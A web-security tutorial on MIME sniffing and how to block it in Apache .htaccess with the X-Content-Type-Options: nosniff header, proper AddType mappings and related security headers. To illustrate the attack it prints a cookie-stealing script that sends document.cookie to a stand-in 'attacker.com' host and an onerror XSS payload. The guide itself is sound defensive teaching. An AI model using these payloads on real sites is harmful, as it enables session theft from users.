Skip to main content

MIME Sniffing Prevention in .htaccess

Browsers are designed to be helpful. When a server sends a file without a clear content type, or with a content type that does not seem to match the actual content, some browsers try to figure out what the file really is by examining its contents. This behavior, called MIME sniffing, was originally a convenience feature meant to handle misconfigured servers. Unfortunately, it is also a security vulnerability that attackers actively exploit.

This guide explains what MIME sniffing is, how attackers use it to execute malicious code, how to prevent it with a single response header, and why correct media type configuration is the essential foundation that makes this protection effective.

What Is MIME Sniffing

MIME sniffing (also called content sniffing or media type sniffing) is the process by which a browser ignores the Content-Type header sent by the server and instead inspects the raw bytes of a response to guess what type of content it contains.

When a server sends a response, it includes a Content-Type header that tells the browser how to handle the content:

Content-Type: text/plain

This header says "this is plain text, display it as text." But what if the first few bytes of the file look like HTML?

<html><script>alert('Surprise!')</script></html>

A browser performing MIME sniffing examines the content, detects what appears to be HTML, and decides to override the server's text/plain declaration. It renders the content as HTML and executes the embedded JavaScript.

This "helpful" behavior was introduced in older versions of Internet Explorer to deal with the many servers on the early web that sent incorrect or missing content types. Other browsers adopted similar behavior to varying degrees. While the intent was to improve compatibility, the security consequences are severe.

How MIME Sniffing Works

The browser's sniffing algorithm examines the first few hundred bytes of a response looking for signatures (sometimes called "magic bytes") that identify specific file formats:

Content SignatureSniffed Type
<html, <head, <scripttext/html
%PDFapplication/pdf
GIF89aimage/gif
\x89PNGimage/png
PK (ZIP header)application/zip
{ followed by JSON structureapplication/json

If the detected signature does not match the declared Content-Type, the browser may use the sniffed type instead, fundamentally changing how the content is processed.

The Attack Vector

MIME sniffing becomes dangerous when an attacker can upload or inject content that the server treats as harmless but the browser interprets as executable.

The Classic Attack Scenario

Consider a website that allows users to upload text files. The application validates that uploaded files have a .txt extension and serves them with Content-Type: text/plain. This seems safe because plain text is not executed by the browser.

An attacker uploads a file named notes.txt with this content:

<html>
<body>
<script>
// Steal the user's session cookie
document.location = 'https://attacker.com/steal?cookie=' + document.cookie;
</script>
</body>
</html>

The server stores the file and serves it at https://example.com/uploads/notes.txt with the header:

Content-Type: text/plain

Without MIME sniffing, the browser displays the raw HTML source code as text. The script never executes. The file is harmless.

With MIME sniffing, the browser examines the content, sees HTML tags and a script element, overrides text/plain, and renders the response as HTML. The JavaScript executes, steals the user's cookie, and sends it to the attacker. The attacker now has the user's session.

Other Attack Scenarios

MIME sniffing enables several additional attack patterns:

JSON data interpreted as HTML:

An API endpoint returns user-generated content as JSON:

Content-Type: application/json

{"name": "<img src=x onerror=alert('XSS')>"}

If a browser sniffs this as HTML (perhaps when accessed directly via the address bar), the embedded script executes.

Image files containing scripts:

An attacker crafts a file that is simultaneously a valid image and valid HTML/JavaScript. The file passes image validation on upload, but when a browser sniffs it, the executable content is found and executed.

CSS injection through mistyped content:

A file served as text/plain that contains CSS can be sniffed as text/css and applied as a stylesheet, potentially altering the appearance of the page to display fake content or hide legitimate content (a form of UI redressing).

Why This Matters for Cross-Origin Data

MIME sniffing also creates risks with cross-origin data leaks. A script on an attacker's site can include a resource from your site using a <script> tag:

<script src="https://example.com/api/user-data.json"></script>

If the browser sniffs the JSON response as JavaScript and attempts to parse it, error messages or side effects during parsing can leak information about the response content to the attacker's page.

X-Content-Type-Options: nosniff

The defense against MIME sniffing is a single HTTP response header:

X-Content-Type-Options: nosniff

This header tells the browser: "Trust the Content-Type header I sent you. Do not try to guess the content type by examining the content. If the declared type does not match what you expect for this context, block the resource."

Configuring in .htaccess

<IfModule mod_headers.c>
Header always set X-Content-Type-Options "nosniff"
</IfModule>

That is the complete configuration. The nosniff value is the only valid value for this header. There are no other options, no parameters, and no complex configuration.

The always keyword ensures the header is sent with every response, including error pages (403, 404, 500, etc.). Error pages can also be targets for MIME sniffing attacks if they reflect user input.

What nosniff Does

When a browser receives X-Content-Type-Options: nosniff, its behavior changes in two important ways:

1. Script and style blocking:

If a <script> tag loads a resource whose Content-Type is not a valid JavaScript type (text/javascript, application/javascript, etc.), the browser blocks the script entirely. It does not execute it, regardless of the content.

Similarly, if a <link rel="stylesheet"> loads a resource whose Content-Type is not a valid CSS type (text/css), the browser blocks it.

2. No content-based type guessing:

For all other resource types (images, fonts, media, etc.), the browser uses the declared Content-Type without overriding it based on content inspection.

Practical Impact

ScenarioWithout nosniffWith nosniff
text/plain file containing HTML/JSMay render as HTMLDisplayed as plain text
JSON API response loaded via <script> tagMay execute as JSBlocked entirely
CSS file served as text/plainMay apply as stylesheetIgnored by the browser
Image file containing embedded scriptsMay execute scriptsTreated as image only
Correctly typed resources (text/html as HTML)Works normallyWorks normally

The header has no negative impact on correctly configured resources. If your Content-Type headers are accurate, nosniff changes nothing about how your site functions. It only blocks the dangerous fallback behavior of content-based guessing.

Common Mistake: Conditional Application

Less effective approach:

<IfModule mod_headers.c>
# Only applied to HTML responses
Header set X-Content-Type-Options "nosniff" "expr=%{CONTENT_TYPE} =~ m#text/html#i"
</IfModule>

While it might seem logical to only send this header for HTML responses, MIME sniffing attacks can target any content type. A JSON API response, a plain text file, or even an image can be sniffed into a dangerous type. The header should be sent with every response.

Correct approach:

<IfModule mod_headers.c>
Header always set X-Content-Type-Options "nosniff"
</IfModule>

No conditions, no filters. Every response gets the header.

Relationship to Correct Media Types

The X-Content-Type-Options: nosniff header and correct Content-Type configuration are two sides of the same coin. The nosniff header tells browsers to trust the Content-Type header. But if your Content-Type headers are wrong or missing, you are telling browsers to trust incorrect information, which creates a different set of problems.

nosniff Without Correct Types

If you set nosniff but serve files with incorrect or missing media types, things break:

# Server sends:
Content-Type: text/plain
X-Content-Type-Options: nosniff

# For a file that is actually CSS

Without nosniff, the browser might sniff the content and correctly apply it as CSS. With nosniff, the browser obeys the text/plain type and refuses to apply it as a stylesheet. Your page loses its styling.

This is actually the correct behavior because the server was misconfigured. The nosniff header exposes the underlying problem rather than masking it with dangerous guessing.

The Correct Combination

Proper media type configuration (using AddType in .htaccess) combined with nosniff creates a secure and functional setup:

Complete media type and sniffing prevention setup
<IfModule mod_mime.c>
# Ensure all file types are correctly identified
AddType text/css css
AddType text/javascript js mjs
AddType application/json json map
AddType image/svg+xml svg svgz
AddType font/woff2 woff2
AddType font/woff woff
AddType application/manifest+json webmanifest
AddType image/webp webp
AddType image/avif avif
</IfModule>

<IfModule mod_headers.c>
# Tell browsers to trust the Content-Type we send
Header always set X-Content-Type-Options "nosniff"
</IfModule>

With this configuration:

  1. AddType ensures that every file extension maps to the correct media type, so the Content-Type header is always accurate.
  2. nosniff ensures that browsers trust the Content-Type header and never override it with guesswork.

Defense in Depth

X-Content-Type-Options: nosniff works best as part of a layered security approach. Combined with other headers, it forms a comprehensive defense:

nosniff as part of a security header set
<IfModule mod_headers.c>
# Prevent MIME sniffing
Header always set X-Content-Type-Options "nosniff"

# Prevent clickjacking
Header always set X-Frame-Options "DENY" "expr=%{CONTENT_TYPE} =~ m#text/html#i"

# Control resource loading
Header always set Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'"

# Force HTTPS
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"
</IfModule>

Each header addresses a different attack vector:

HeaderPrevents
X-Content-Type-OptionsMIME sniffing and content type confusion
X-Frame-Options / frame-ancestorsClickjacking
Content-Security-PolicyXSS and unauthorized resource loading
Strict-Transport-SecurityProtocol downgrade and SSL stripping

X-Content-Type-Options: nosniff is the simplest security header you can add. It is a single line, has no configuration complexity, causes no compatibility issues when your media types are correctly configured, and closes a meaningful attack vector. There is no reason not to include it on every website. Add it alongside your other security headers and ensure your AddType directives correctly map every file extension your site uses. Together, accurate media types and nosniff ensure that every file your server delivers is handled exactly as you intended.